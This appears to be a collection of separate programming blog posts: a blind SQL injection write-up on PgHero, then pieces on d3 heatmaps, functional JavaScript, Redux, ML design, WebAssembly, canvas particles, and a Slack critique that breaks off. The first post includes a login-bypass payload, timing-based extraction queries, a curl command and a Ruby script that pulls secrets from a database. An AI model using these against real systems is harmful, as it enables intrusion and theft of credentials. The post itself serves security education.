In a classic SQL injection attack, an attacker will insert additional SQL into an otherwise safe query. Consider this user login query: SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password'; If the user-inputted password isn’t sanitized, an attacker could craft an input that would change the query, e.g. : ' OR 1=' SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password' OR 1='1'; The injected SQL closes the first predicate and ORs it to another that is always true; meaning that this “password” can be used to log in to any account. It’s important to note that while this bypasses account security, it doesn’t leak any sensitive information. That is, it’s a SQL injection attack because we can’t see the result of our SQL injection; the response to our login action doesn’t share what the password actually was. blind Picking on PgHero As part of a recent security training exercise, I was tasked with being a fake attacker who had gained access to one of our administrative tools. is a Ruby-based tool that provides an administrative interface to Postgres, with a focus on performance tuning. It is wonderfully useful. One included feature is a query Explainer and Analyzer: PgHero This tool provides the result of Explain or Analyze, both of which do not include any of the data from the result of the query. By wrapping the query in a transaction and rolling it back, this tool also prevents destruction or mutation of data. At first glance, it would seem that this is a pretty innocuous tool that can do no harm: can’t change anything, can’t retrieve anything. Timing-based Attack While Explain/Analyze doesn’t return the result of the query, it does return metadata about the query: . Consider the following query: how long it takes the query to execute SELECT CASE WHEN secret = 'secret' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ; This query will return quickly if the guess was wrong or take ~5s if correct. Using this query style and timing the execution time, we can now extract binary (yes/no) answers from the database. Using , every character in the string you’re trying to discover can be enumerated: substr -- brute force 1st characterSELECT CASE WHEN substr(secret, 1, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 1, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 1, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;... -- brute force 16th characterSELECT CASE WHEN substr(secret, 16, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 16, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 16, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;... Note: if you needed to do this as more than a proof of concept, binary searching will be much faster than testing each possibility. For each character, the query that took ~5s to run indicates the correct character. If for some reason isn’t available, any sufficiently slow/expensive query will do (e.g. joining on a field without an index). pg_sleep() To run these queries against PgHero, the SQL needs to be wrapped in an appropriate cURL command: curl --silent \-d "query='SELECT CASE WHEN substr(secret,1,1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id=1;'" \-d "commit=Analyze" \--user admin:password \ https://myhost.com/pghero/explain With a , we can automate the entire extraction process: little boilerplate POSITIVE_DELAY = 2CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a def query(table, field, id, char, pos)%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]end def timeitt0 = Time.nowyieldTime.now - t0end def curl_test(table, field, id, char, pos)cmd = <<-CMD.squishcurl --silent -d "query=#{query(table, field, id, char, pos)}" -d "commit=Analyze"--user admin:passwordhttps://myhost.com/pghero/explainCMDtimeit { `#{ cmd }` } > POSITIVE_DELAYend def retrieve_field(table, field, id)buffer = ""(1..255).each do |pos|found = falseCHARS.each do |char|if curl_test(table, field, id, char, pos)puts "#{pos}: #{char}"buffer << charfound = truebreak # once a match is found, move onendendbreak unless found # if nothing matched, treat as end of stringendbufferend secret = retrieve_field('apps', 'secret', 1)puts "secret: #{secret}" And a sample run of this attack: $ ruby blind-sql.rb1: 62: 43: 24: 85: 96: a7: 18: 09: 910: c11: d12: 613: 314: b15: d16: f17: 018: 319: a20: 8key: 64289a109cd63bdf03a8 Summary Any SQL injection attack vector is bad news. Commonly they arise from programming errors, but administrative tooling can also expose SQL injection style attacks. If the SQL injection vector doesn’t expose the results of a query, the results can still be systematically extracted using a timing-based attack. Further reading: https://www.owasp.org/index.php/Blind_SQL_Injection http://www.sqlinjection.net/time-based/ https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf

Timing-based Blind SQL Attacks

I’m sure most of the people that read this know of GitHub and Reddit. As an avid user of both, I wanted to recreate GitHub’s heat map/contribution graph using Reddit’s data to both learn about its implementation as well as see my Reddit activity in a neat visualization. I used , javascript library for building graphics, , super handy for DOM manipulation, and B , great for developers with poor design skills. d3.js jQuery ootstrap First, I’ll discuss the UI component and how d3 was used in this. I had a lot of help with the UI from this . For GitHub’s use case and this use case, the graph is always a year’s length which makes it simpler because the graph will always be the same length. example The entire graph is a SVG element which contains sub-elements which are also SVGs. Each square which represents a day will contain an tag in the format of so something like . The squares are first rendered with the same color, . id %Y-%m-%d 2017-01-06 #eee The square’s position is determined by its day and week. The position is determined by the week number, . x %U The week 1 of YYYY starts with a Sunday (according to %U). The days in the year before the first week are in week 0. The y position is determined by the day of the week. Sundays are first and Saturdays are last, it doesn’t make a difference if it is 0-indexed or 1-indexed. This would look something like d3.select('.js-heatmap').enter().append('svg').enter().append('rect').attr('width', CELL_SIZE).attr('height', CELL_SIZE).attr('x', (d) => d3.timeFormat('%U')(d) * CELL_SIZE).attr('y', (d) => d.getDay() * CELL_SIZE) For the square/grid coloring, each grid needs a ranking or score to determine its color. At this point, let’s assume each grid already has a score. (I’ll discuss how I calculated the score with Reddit’s API below this). Determining a grid’s color depends on a few factors: number of colors, grid ranking and ranking extremes (min and max). Basically, the score will be projected onto a scale based on the number of colors. In this case, I’m using 7 colors so the score with the highest ranking will receive color #7, the ranking with a score near the mean has color #3 and so on. Using d3’s API, this would look like. d3.scaleQuantize().domain([MIN, MAX]).range(d3.range(NUMBER_OF_COLORS).map((d) => `color${d}`)); // Assign the grid the css class. I categorized the colors into a certain css class like the following. .color0 { fill: #d6e685 }.color1 { fill: #44a340 }.color2 { fill: #28752d }.color3 { fill: #1e6823 }.color4 { fill: #365e2f }.color5 { fill: #144e12 } Onto how I used to pull data on a specific user. I used Reddit’s different types of contribution to calculate the total amount of activity in a day. For example, the number of submitted posts, comments, upvotes and downvotes in a day translates to its total score. Thankfully, the endpoints for these objects are public so when a user enters a username. Therefore, I can easily make a GET request or multiple to pull the data. Once all the data is fetched, it is then used to render the heat map. Reddit’s API The source code for this is at and the tool is live at . https://github.com/vinnyoodles/reddit-heatmap https://vinnyoodles.github.io/reddit-heatmap/ I’m a Computer Science student at Virginia Tech that loves to write code and lift weights 💪. LinkedIn Github

Super

How to recreate GitHub’s contribution graph

JavaScript’s has served us well, but it is now obsolete and should be retired in favor of newer functional programming techniques. for loop Fortunately, this is a change that doesn’t require you to be a functional programming master. Even better, this is something you can do in existing projects today! What is the problem with JavaScript’s for loop anyway? The ’s design encourages and usage of , both of which are potential sources of buggy and unpredictable code. for loop mutation of state side effects We have all heard that global state is bad and should be avoided. Though, , we just don’t notice it as often because it’s on a smaller scale. So we never actually solved the problem, we just minimized it. local state shares the same evils as global state With a mutable state, at some unknown point in time, a variable will change for an unknown reason and you will spend hours debugging and searching for the reason that value changed. I have already pulled a dozen hairs out of my head just thinking about this. Next, I would like to quickly talk about . Those words just sound terrible, side effects. Yuck. Do you want your program to have side effects? No, I don’t want my programs to have side effects! side effects But what is a side effect? . It could be changing the value of a variable, reading keyboard input, making an api call, writing data to disk, logging to a console, etc. A function is considered to have side effects is when it modifies something outside of the function’s scope Side effects are powerful, but with great power comes great responsibility. Side effects should be eliminated when possible or encapsulated and managed. , so get them out whenever you can. Fortunately we aren’t going to worry about side effects here. Functions with side effects are harder to test and harder to reason about Okay, less words more code. Let’s take a look at a typical that you’ve probably seen a thousand times. for loop const cats = [{ name: 'Mojo',    months: 84 },{ name: 'Mao-Mao', months: 34 },{ name: 'Waffles', months: 4 },{ name: 'Pickles', months: 6 }] var kittens = [] // typical poorly written `for loop`for (var i = 0; i < cats.length; i++) {if (cats[i].months < 7) {kittens.push(cats[i].name)}} console.log(kittens) My plan is to refactor this code step by step so you can see how easy it is to transform your own code into something more beautiful. The first change I want to make is to extract the statement into its own function. if const isKitten = cat => cat.months < 7 var kittens = [] for (var i = 0; i < cats.length; i++) {if ( ) {kittens.push(cats[i].name)}} isKitten(cats[i]) It is a good practice in general to extract your statements. Now when you read the code the intent becomes clear. Why are we getting cats under 7 months? This is not clear at all. Our intent is to find kittens, so let the code say that! if The change in filtering from “less than 7 months” to “is a kitten” is a big deal. Another benefit is is now reusable and we all know, isKitten making our code reusable should always be one of our goals. The next change is to extract the transformation (or mapping) from an object of type cat to a name. This change will make more sense later, so for now you’ll just have to trust me. const isKitten = cat => cat.months < 7 const getName = cat => cat.name var kittens = [] for (var i = 0; i < cats.length; i++) {if (isKitten(cats[i])) {kittens.push( )}} getName(cats[i]) I contemplated writing a few paragraphs to describe the mechanics of and . But I think by not describing them and instead showing you how easily you can read and understand this code, even without ever having been introduced to or , would best demonstrate how readable your code can become. filter map map filter const isKitten = cat => cat.months < 7const getName = cat => cat.name const kittens = cats.filter(isKitten).map(getName) Also notice that we have eliminated . No more mutation of state and no more ! kittens.push(...) var Code that uses const (over var and let) is sexy as hell Full disclosure here, we could have used const the whole time because const doesn’t make the object itself immutable (more on this another time). But hey, it’s a contrived example, so cut me some slack! The last refactoring I would suggest is to also extract the filtering and mapping to its own function (you know, for that whole reuse thing). And all together now: const isKitten = cat => cat.months < 7const getName = cat => cat.name const getKittenNames = cats =>cats.filter(isKitten).map(getName) const cats = [{ name: 'Mojo',    months: 84 },{ name: 'Mao-Mao', months: 34 },{ name: 'Waffles', months: 4 },{ name: 'Pickles', months: 6 }] const kittens = getKittenNames(cats) console.log(kittens) Extra Credit For extra credit, take it further Decouple the and methods from their objects. And double extra credit you could research function composition. filter map _One thing I always end up doing in my project is decoupling methods from their objects. map, filter and reduce are not…_hackernoon.com Functional JavaScript: Decoupling methods from their objects _Function composition has got to be my favorite part of functional programming. I hope to provide you with a good real…_hackernoon.com Functional JavaScript: Function Composition For Every Day Use. What about break? Many of you asked, “What about break?” (hint: recursion) Check out Part 2: Break is the GOTO of loops. _In my last article, Death of the for Loop, I tried to convince you to abandon the for loop for a more functional…_medium.com Rethinking JavaScript: Break is the GOTO of loops End Please let me know how you feel about this in the comments below. Is the now also dead to you? for loop I know it’s a small thing, but it makes my day when I get those follow notifications on Medium and Twitter ( ). Or if you think I’m full of shit, tell me in the comments below. @joelnet Cheers! Related Articles _Thinking functionally has opened my mind about programming._medium.com Rethinking JavaScript: The if statement _In my last 3 articles I convinced you to remove the if statement, kill the for loop, and never use break._medium.com Rethinking JavaScript: Eliminate the switch statement for better code _I love the new Promise library that ships with ES6, though one thing has been left out, a function to sequentially…_medium.com Functional JavaScript: Resolving Promises Sequentially This article has been translated into Russian for my Russian friends.

Slack

Twitter

Rethinking JavaScript: Death of the For Loop

When we at decided to roll out our mobile app, one of the first decisions we had to make was: what language do we use? After some deliberation, the decision was made: React-Native it was going to be. a new “language” or isn’t a huge issue, but man oh man, did react-native and redux give me a hard time. This article doesn’t explain how React-Native works (as that is not the hard part). The purpose of the next few paragraphs is to help anybody reading this transition from “thinking in MVC” to “thinking in Redux”. Hope it helps. Spoil Learning framework React-Native and Redux? As soon as you start learning about react-native (or react), you are about 3 stack overflow questions or medium posts away before somebody mentions redux. You were so happy. You started to understand state vs props, you know what componentDidMount does and you even understand how to properly create your components so they are re-usable. Now all of a sudden you found yourself on egghead.io, and some guy is talking about stores, reducer compositions, actions and mapping state to props. You also realize that while before you were able to do: $(“.my-button”).click(); to get a button to do something; it has now been about 3 hours and your one button doesn’t do anything. Some Analogies If you are coming from an MVC (or MVVC) world, you are used to models, views and controllers (duh). However in we are dealing with actions, reducers, stores and components. Trying to “translate” MVC to Redux is tricky but here is how I would do it: Redux Think of your actions as the controller. Whenever you want something to happen in your app (i.e. load some data, change a isLoading flag from true to false…) you will have to dispatch an action. Just like in MVC where you would have to call a controller endpoint. Actions = Controller. Sort of. Your reducers will be in charge of holding the current state of your application (i.e. user info, information loaded from the api, items you want to display…). It will also be the part that decides what to do when an action is called. While in MVC you might have a model with the method setName(), with Redux you would have a reducer handle an action to set the name in the state. Reducer = Model. Edit thanks to Prabin Varma . This explains the Store much better. The store is Redux specific and doesn’t really have an equivalent in MVC. Not to worry though. This part is taken care off behind the scenes. The store is like a container for the state that aggregates all of the reducers. It has a method to the get the current state, and exposes ways to subscribe to the state changes (using the “connect()” method). This is what will allow you to call actions and pass them in as props to your components. Stores = ???. Components are kind of like your smart views. They display the information that they get from the state. I recommend splitting up your components into two parts. One just for the presentational part (dumb components) and one to handle all of the actions and state changes (smart components). Components = Views. Moving From MVC Thinking to Redux Thinking One of the main differences between MVC and Redux is that, while in MVC data can flow in a bidirectional manner, in Redux it strictly moves in one direction. Typical MVC. When life was easy. As you can see (and know from experience) in the diagram above data can flow two ways. You press a button in your view, it sends a message to the controller and that updates the model. The model changes some value, returns the value to the controller, and the controller refreshes the view. Easy peezy! Redux flow. Life sucks now With Redux things work a little differently. Let’s say you have a component and you want to do something when a button gets pressed. Where do you start? Here is how I go about it. Define your Action Define your Reducer Define the Actions as a Prop in your Component Wire it up in your View Here is a simple code example to explain these concepts. In this example I will show how to edit a text input and when a user presses a button it will call an action to save it. First let’s start with the file. Action export const MODIFY_NAME = "MODIFY_NAME";export const SAVE_NAME = "SAVE_NAME"; /*** This is the action we will call from our component whenever the user presses a button. Literally every letter that they will type, this action will be called with the new value in the text input field. Pay attention to the type and payload in this function. This is what we will use in the reducer to "modify" our model with the new values.**/export function modifyName(name){return {type: MODIFY_NAME,payload:{name}}} /**This is the action we will call when the user presses the save name button. Notice how we don't pass any value in. That is because the reducer already holds that value. Also there is no payload. The reason for that is the reducer doesn't need one. There is no extra information needed for the reducer step.Also, normally this would call an api endpoint and all that jazz, but for brevity's sake I won't include that.**/export function saveName(){return {type: SAVE_NAME}} Now onto our R . Basically, the reducer has to handle the actions that come in. educer //import the actions file we defined earlierimport * as constants from '../actions.js'; /**The initial state is used to define your reducer. Usually you would just set this to default values and empty strings. The reason this is needed is so that when using these values you are guaranteed to at least have some default value. Think of it as the default constructor.**/const initialState = {name:'',isSaved: false} /**This action part is the part that will "listen" for emitted actions. So the saveName and modifyName functions that we defined earlier will be handled in here. The action parameter is what is being returned (the type and payload) in the functions above.**/function name(state=initialState,action){switch (action.type){/**in REDUX the state is immutable. You must always return a new one, which is why use the ES6 spread operator to copy the values from the states that's passed in.**/case constants.MODIFY_NAME:return {...state,name:action.payload.name}case constants.SAVE_NAME:return {...state,isSaved:!state.isSaved}}}export default name; Notice how the and are exactly what is being returned by our actions in the type field. That is how you let the reducer know what action is happening. constants.MODIFY_NAME constants.SAVE_NAME Now to define our “smart” . Really all this means is this is the component that will define the call to the actions. component /*** The home page for the app*/‘use strict’;import React, { Component } from ‘react’; import { connect } from ‘react-redux’; import Name from ‘./presentational/Name’; import * as actions from ‘./actions/name’; /**Both the actual values (name and isSaved) as well as the function to call those actions are passed in as props.**/class NameContainer extends Component {render() {return (<Namename = {this.props.name}isSaved = {this.props.isSaved}modifyName = {this.props.modifyName}saveName = {this.props.saveName}/>);}} /**All this does is get the values that are saved in the reducer, and return it to the component so that we can call them using this.props**/const mapStateToProps = (state,ownProps) =>{/**using REDUX stores, it allows us to just access the reducer values       by going state.name. Notice how name is what is being exported in    the reducer above**/const { name, isSaved } = state.name;return {name,isSaved };} /**In mapStateToProps we were mapping the state variables as properties to pass into our presentational component. In mapDispatchToProps we are mapping the action functions to our container to be able to pass it into our presentational component.**/const mapDispatchToProps = (dispatch) => {return {modifyName:(name)=>{dispatch(actions.modifyName(name))},saveName:()=>{dispatch(actions.saveName())},} /**This is the reason we are able to pass in the functions and variables as props to our container. It's the connect function from the react-redux library that does all the magic.**/export default connect(mapStateToProps,mapDispatchToProps)(NameContainer); Now for the easiest part. You create your that the user will interact with (the V in MVC). presentational component /*** the dumb component which will use the props passed in from the smart component based on a user's actions*/‘use strict’;import React, { Component } from ‘react’;import {Text,TextInput, TouchableOpacity} from ‘react-native’;import { Actions, ActionConst } from ‘react-native-router-flux’; class Name extends Component render() {return (<View> <TextInputmultiline={false}//from the component abovevalue={this.props.name}placeholder=”Full Name”//from the component aboveonChangeText={(name)=>this.props.modifyName(name)}/> <TouchableOpacity onPress= {()=>{this.props.saveName()}><Text>Save</Text></TouchableOpacity></View>);}} export default Name; And that’s it! You still have to do some basic boilerplate setup stuff, but I hope this clears up how to think in redux. This was something that tripped me up for a little while (i.e. what information was being passed where and how…) so I’m hoping to save you guys some time and heartache. If you want to see what my team and I built using React-Native and Redux check out our app . Spoil If you enjoyed the read, please just hit the ❤️ below so other people will see this here on Medium. My Twitter: @mlevkov Join my newsletter below and get more cool things 👇

Thinking in Redux (when all you’ve known is MVC)

The concept The Need for Design Patterns in Machine Learning Application When you start a project, most of the time, you are not confident the algorithm will work on the data you have. So, you start with prototyping. Thanks to the popular scripting based frameworks (TensorFlow, Torch, Caffe2), you can easily fire up an editor, import a package, and write operations to perform your task. This works well for research purpose, it validates your idea quickly. As your experiment evolves, a lot of things get changed. Multiple network architectures are tested, helper functions are added to process data, optimization parameters and algorithms are tried. Finally, you see the model is working and want to use it for production to power your next big idea. But when you look back, you end up with a script of scattered operations and parameters. It is not easy to quickly understand what is being done and how it can be moved around to work with other part of the application. machine learning Machine learning system should be designed to scale while keeping flexibility to plug and play certain parts. During the process of working on several machine learning projects that serve as the API for real world applications, a design pattern served me well which makes the system easy to understand, maintain and extend. Components Let’s abstract a program into three main components. learning : data or more accurately data manager that takes charges of managing a dataset, include but not limited to: 1) download data; 2) format data; 3) storage raw data in a database; 4) generate input for training; 5) provide label names for the dataset. It should offer convenient interface to access data for later tasks. Data : the machine learning model that takes an input and predict an output. It contains essential parameters that define the structure of the prediction model, dedicated functions for the specific model like building the model and preprocessing data. It is a static entity that doesn’t actually do the computing by itself. Model : class that runs learning tasks on the model given data. It is tied to one or more models to perform dynamic operations. It can take different types like a classifier or a matcher depending on the type of model and loss to optimize. It encapsulates tasks like making prediction, extracting features, serializing and deserializing trained model from a file. It connects model and data, kinda like the C in MVC. Learner Interactions Data <-> Model: model takes data in and form computation logic. Data <-> Learner: data is fed into learner directly for running tasks. Model<-> Learner: the model is used internally by the learner. During training, the learner takes the data, computes loss and optimization rules based on the model. Learner then updates model parameters. During testing/evaluation, learner passes the data to model to get prediction. What’s Next The introduced DML pattern works well so far across various applications from small to large codebase size. I’m working on a framework that implements this pattern. Please stay tuned for part 2.

Different

The MVC for Machine Learning: Data-Model-Learner (DML) － Part 1

I fell in love with JavaScript long before it was cool. I’m not sure about the exact date and time, but definitely before StackOverflow and probably after GMail announced its beta. Back in the day, it was used mostly to clutter innocent web sites with bells and whistles nobody wanted. Like these January waltzing snowflakes reminding you that Christmas is over and so is bourbon and you have no friends. A roommate of mine had friends, and he introduced me to the guy who was deep in this emerging front-end thing. And this guy told me the two biggest secrets of JavaScript: it’s not Java, and it’s not script. Well, everybody knows this , but at that time knowing that you have a full-power multi-paradigm language in basically every browser in the world was like urban legend coming to life. It was like learning that your favorite toothpaste is actually made of cocaine, you just don’t rub it into your dents hard enough. now I got hooked. And I wrote pretty bizarre things in JavaScript. Like a multivariate function optimizer, that could infer variable names from a string expression, and then find their values in a local optimum. All in less than 100 lines of code. Not because I really had to, though, but because I could. The language combining dynamic typing with functional capabilities, JavaScript was arguably the most versatile, the most “easy to do weird things”, language between the mainstream ones. Now of course everything is made of cocaine. Every mainstream language is multi-paradigm now, every one has functional programming; and dynamic typed ones have type annotations, and static typed ones has variable types instead. And this brings us to the unpleasant conclusion. JavaScript is just not that exciting as a language anymore. Good ideas are not a privilege now, but a commodity. They transfer freely from one standardization committee to another making all the mainstream languages more and more alike. If I start jogging tomorrow and change my drinking preferences to carrot juice, I could live up to that time when all the mainstream programming languages will become the same. JavaScript was holding its dominance in front-end for too long. Basically, all its glory comes not from the ingenious design, but from the simple thing that it became de-facto standard on the wave of rising bandwidth and processor power. Now, as everybody gets more focused on performance and power economy, the whole thing is being redesigned. Come to think about, the way the things work now rather stupid. I mean, in order to have depressive snowflakes on your screen, you have to get a JavaScript source from a server, then run a lexical analysis on it, syntax analysis and semantic analysis, then a bunch of machine dependent optimizations; and only then the essential part — machine level optimizations and machine code compilation. Why do we want to do all of it on an every client, if not for every request, when we can do most of the work once and on a server side? is And here comes the solution. addresses this exact problem. It’s a binary executable format for browsers. It promises to make everything better, faster, more robust, more reliable, more maintainable. And it also makes JavaScript irrelevant. WebAssembly Now every language that can compile to WebAssembly, which is basically every compilable language ever, will work for front-end development. Java, Python, C#, C++, even Fortran if you’d like. So JavaScript would not be the only option soon enough. The very first time in its existence it would face competition in its own domain. Not that the competition will necessary kill JavaScript. Technically, Objective-C was not killed by Swift. It is still quite popular, just not like in the good old days. And Delphi wasn’t exactly slaughtered by C#. And Lisp machines didn’t entirely lose to Unix all at once. And, you might not believe me, but there is still some active development going in Fortran as well. You should only realize, that every career choice is a gamble. Nothing is for sure. And nothing is for life. Well, unless you’re going to live a really short one. JavaScript is on top of its game right now. It looks big and shiny and promising. But technologies change. Everything does. WebAssembly will definitely be a huge game changer for the JavaScript world. And I’m not even sure, there will be a JavaScript world some 5 on 10 years from now. is how hackers start their afternoons. We’re a part of the family. We are now and happy to opportunities. Hacker Noon @AMI accepting submissions discuss advertising &sponsorship To learn more, , , or simply, read our about page like/message us on Facebook tweet/DM @HackerNoon. If you enjoyed this story, we recommend reading our and . Until next time, don’t take the realities of the world for granted! latest tech stories trending tech stories

BUNCH

Facebook

One reason you probably shouldn’t bet your whole career on JavaScript

Creating a particle rain effect If you new to the series start here: , and Part1 Part 2 Part 3 All the code and libraries can be found here: https://github.com/GeorgeGally/creative_coding Particle rain effect So now that we have our particles… let’s have some fun and create some particle effects. This will also, hopefully, give you an insight as to how the same piece of code can create vastly different effects and get you experimenting more, which is where the magic and fun happens. So let’s create a simple, but visually pleasing particle rain effect like the image above… We already have all the code we need… we just need to make particle trails fall from the top, and instead of bouncing, and then just reappear at the top when they get to the bottom… So, firstly let’s add some particles… we set our ball’s to 0, as the particles are just falling down. And we give it a random start position of anywhere from 0 to the screen width, ie. which is the same as saying And we give our balls a vertical start point somewhere above the screen to they don’t all start at the same place. And a random grey colour using ; speed_x random(w); random(0, w); rgb(random(255)) So our setup code will look like this: var ctx = createCanvas("canvas1");var max_balls = 2000;var balls = []; for (var i = 0; i < max_balls; i++) {addBall();} // push a ball and it's values into the arrayfunction addBall(){var ball = { size: 8, }balls.push(ball);if (balls.length > max_balls) balls.splice(0,1);} x: random(w), y: random(-200,0), speed_x: 0,speed_y: random(0.5, 3), colour: rgb(random(255)) For our function, it look pretty much the same as before, except we need to reset the particle to the top once it goes over the edge: moveBall() function moveBall(){ for (var i = 0; i < balls.length; i++) { var b = balls[i];b.x = b.x + b.speed_x;b.y = b.y + b.speed_y; // if ball goes over bottom reset it if (b.y > h) {b.y = random(-100,0);b.colour = rgb(randomInt(255));} } } For neatness’ sake let put the rest stuff in a function. We’ll need to pass a reference of our ball to the function, otherwise the function won’t know which ball we are referring to. We do this just by passing the an object/variable to the function in it’s brackets, like so: resetBall() _// syntax: functionName(variable)_resetBall(b) And receiving the variable in the function like so: function resetBall(_b) {// do some stuff with _b} In coding we often use the underscore (like _b in this case) because it just makes it easy to see that we’re referring to a local variable reference (any variable declared inside a function can’t be see outside of it — which is a good thing. You should always try to steer away from global variables as much as possible). So now our completed code should look like this: var ctx = createCanvas("canvas1");var max_balls = 2000;var balls = []; for (var i = 0; i < max_balls; i++) {addBall();} function addBall(){var ball = {x: random(w),y: random(-200,0),speed_x: 0,speed_y: random(0.5, 3),size: 8,colour: rgb(random(255))}balls.push(ball);if (balls.length > max_balls) balls.splice(0,1);} function draw(){ctx.background(0, 0.06);moveBall();drawBall();} function moveBall(){for (var i = 0; i < balls.length; i++) {var b = balls[i];b.x = b.x + b.speed_x;b.y = b.y + b.speed_y; **if (b.y > h) {  
  resetBall(b);  
}** }} function resetBall(_b){_b.y = random(-100,0);_b.colour = rgb(randomInt(255));} function drawBall(){for (var i = 0; i < balls.length; i++) {var b = balls[i];ctx.fillStyle = b.colour;ctx.fillEllipse(b.x, b.y, b.size, b.size);}} And that’s it... Particle rain. Most code you’ll use is really just a variation of this. So play around and see what other effects you can come up with… See you next time. Follow me on Instagram here: https://www.instagram.com/radarboy3000/ Follow me on Twitter here: https://twitter.com/radarboy_japan And like my Facebook Page here: https://www.facebook.com/radarboy3000 Introduction to Creative Coding Part 1: https://medium.com/@radarboy3000/creative-coding-basics-4d623af1c647#.hn9zzliob Introduction to Creative Coding Part 2: https://medium.com/@radarboy3000/introduction-to-creative-coding-part-2-d869832d9ffb#.fzxcom541 Introduction to Creative Coding Part 3: https://medium.com/@radarboy3000/how-to-make-particles-1cbeee937593#.wwjhkv7u2 Github repository of all the code: https://github.com/GeorgeGally/creative_coding

Ball

Instagram

Playing with particles

You know my fetish — I happen to believe that mobile app installations are a very good (and open to public) metric to judge the popularity of a service by. Yes, I am the idiot who actually wasted my time calling Jive Software and Tibbr bullshit, when a tech publication would run a story, how they signed up another 1.5 million users, while their Android app installs were at around 10,000. I would actually try to explain to journos that ‘selling’ large contract to a company CEO or CIO isn’t important — usage was. Anyway, I am older and smarter now. I still watch app install stats, but I no longer try to persuade journalists to do the same. So, let’s take a look at Microsoft Teams Google Play stats, shall we? _This app requires a commercial Office 365 subscription._play.google.com Microsoft Teams - Android Apps on Google Play You can compare that to or or Microsoft’s own . Slack us Skype for Business So, should celebrate, right? After all, Teams were out for a couple of month, with generally positive reviews and adoption is very low. Not so fast. I personally think it’s a very, very bad news for Slack too. Here’s why. Slack 1. ESN Déjà vu Remember year 2012, when everyone was talking about enterprise social networking and Yammer? I do, that’s how I know names like Jive and Tibbr and IBM Connections and SAP Jam and… Let me tell you how it all ended. Microsoft bought Yammer out (and actually ). What happened to Yammer competitors that came before it, like Jive Software? Well, nothing. I am amazed Jive is still alive and not in bankruptcy courts. IBM is now all about Watson. I can’t recall a single important Connections update during the past 3 years. discontinued it Now, ask yourself another question — what happened to all those Yammer clones that appeared after its success? Exactly. You can’t even name them. #Slacklash has arrived and nobody in their right mind can claim that chat transforms work in a life changing way it was advertised. You’d get laughed at if you repeated any of Yammer’s earlier slogans and selling points about enterprise social networking. That’s where chat is at right now. Slack decided not to kill email, after all. Their new slogan is ‘Where work happens’, and it clearly addresses a common complaint that it’s nothing more than a GIF delivery mechanism that can get very distractive fast. I think that at this point we all know what email, chat and ESN can do. They all have their place and after being oversold as miracle cures once, you can’t pull the same stunt again. In plain English, Slack or Hipchat or Microsoft Teams or whatever, have a very limited growth potential because their advantages, disadvantages and LIMITS are all clear by now. I’ve made my prediction for Slack for 2017 — their 2016 to 2017growth will be halved again to no more than 65%, but most importantly there will be 0% growth for the month of Dec 17 when compared to previous month with churn considered. Make sure you call me on that prediction next December. 2. The asymmetry of money. While Hipchat is the name that comes up most frequently as the closest competitor to Slack (as a product), we all understand that Google and Microsoft are the real targets. Google still might buy Slack out. I am very surprised that in all discussions around Slacks competition, the subject of money is entirely omitted — people talk about features and products and why Google Hangouts sucks. According to the latest stats, Slack has paying seats which puts their ARR at a tad over $100 million. It’s almost certain that they’ve made less than $100 million in 2016. The company has according to Wikipedia (650 according to TechCrunch). If you divide 100 million by 700, you get $142K in revenue per employee. Stewart has stated that Slack will break even in 2016. If you look at current vacancies, you’ll see that they are mostly in . Those ain’t cheap. So Slack is operating on razor thin margins or is still bleeding money. 1.25 million 700 employees engineering and sales Suppose you pay for Slack. You are probably paying to Google and Microsoft as well. You are paying to Google when you use Android, use their search engine or Gmail or whatever. I should have said ‘making money’ for Google, because you may not be paying directly. It’s the same way with Microsoft. Windows, Xbox, Azure, Skype, Office 365 — there’s lots of ways this may be happening. If Slack beats Microsoft and Google at chat — they are still hugely profitable companies. If, however, Microsoft or Google or have even a minimal impact on Slack — they have no other revenue to fall back on. That’s why comparing Slack with Hangout or MS Teams or Facebook At Work is somewhat stupid. It’s not a competition between products, it’s a competition between COMPANIES. Facebook As I stated before, my personal view is that Slack, as a company, was designed as a VC play to be flipped quickly. VC and the management are waiting for someone to blink first — Microsoft, Google, IBM, Amazon, Facebook — someone with deep pockets. But post Yammer fiasco that might not be happening and independent Slack may become what Evernote is now. A one trick pony past its glory days. 3. Welcome to IT ghetto, bitch. Slack’s biggest problem is that it can not get outside IT ghetto. At first, this was Slacks biggest advantage — leading to viral growth (more on that later) and a natural community of developers. But it’s quickly becoming a problem. Microsoft, Facebook, Google, Salesforce, have a large developer community around them that can PROFIT from the relationship. It’s not the case with Slack. We’ve talked last year to bot developer that was advertised as among top 10. They’ve had less than 100 paying customers at $25/mo. You can’t live on that. That’s why Slack is subsidizing developers via it’s Slack fund, whereas Atlassian doesn’t need to do that. Bot revolution never happened but it’s the only monetization model available to developers with Slack. It’s not a system where you can make money on deployment, customization, renewals, upgrades, training and consulting. Enthusiasm can take you only so far. Given that Slack isn’t able to break into enterprise segment, the prospects for the community (for making money) are rather grim. With a global user base of only a few million users, many of whom are tech savvy, how does one make money as a platform partner? CRM Even worse, because Slack is of limited value to non-IT businesses, it can’t branch out into other segments. WhatsApp, Facebook, Viber, Telegram, Skype and others work better for the non-IT crowd. And many vendors, be they CRM or project management, are starting to add internal chat to their solutions, rendering Slack unnecessary. Without breaking the IT-technophile barrier, it has nowhere to go, because everyone in that community already has Slack or Hipchat. 4. Viral is not good. Viral is bad. One of my favorite companies is Zoho. They are old, as in real old. They were founded 2 years before Bitrix, in 1996 and had to ‘pivot’ later on. For years Zoho 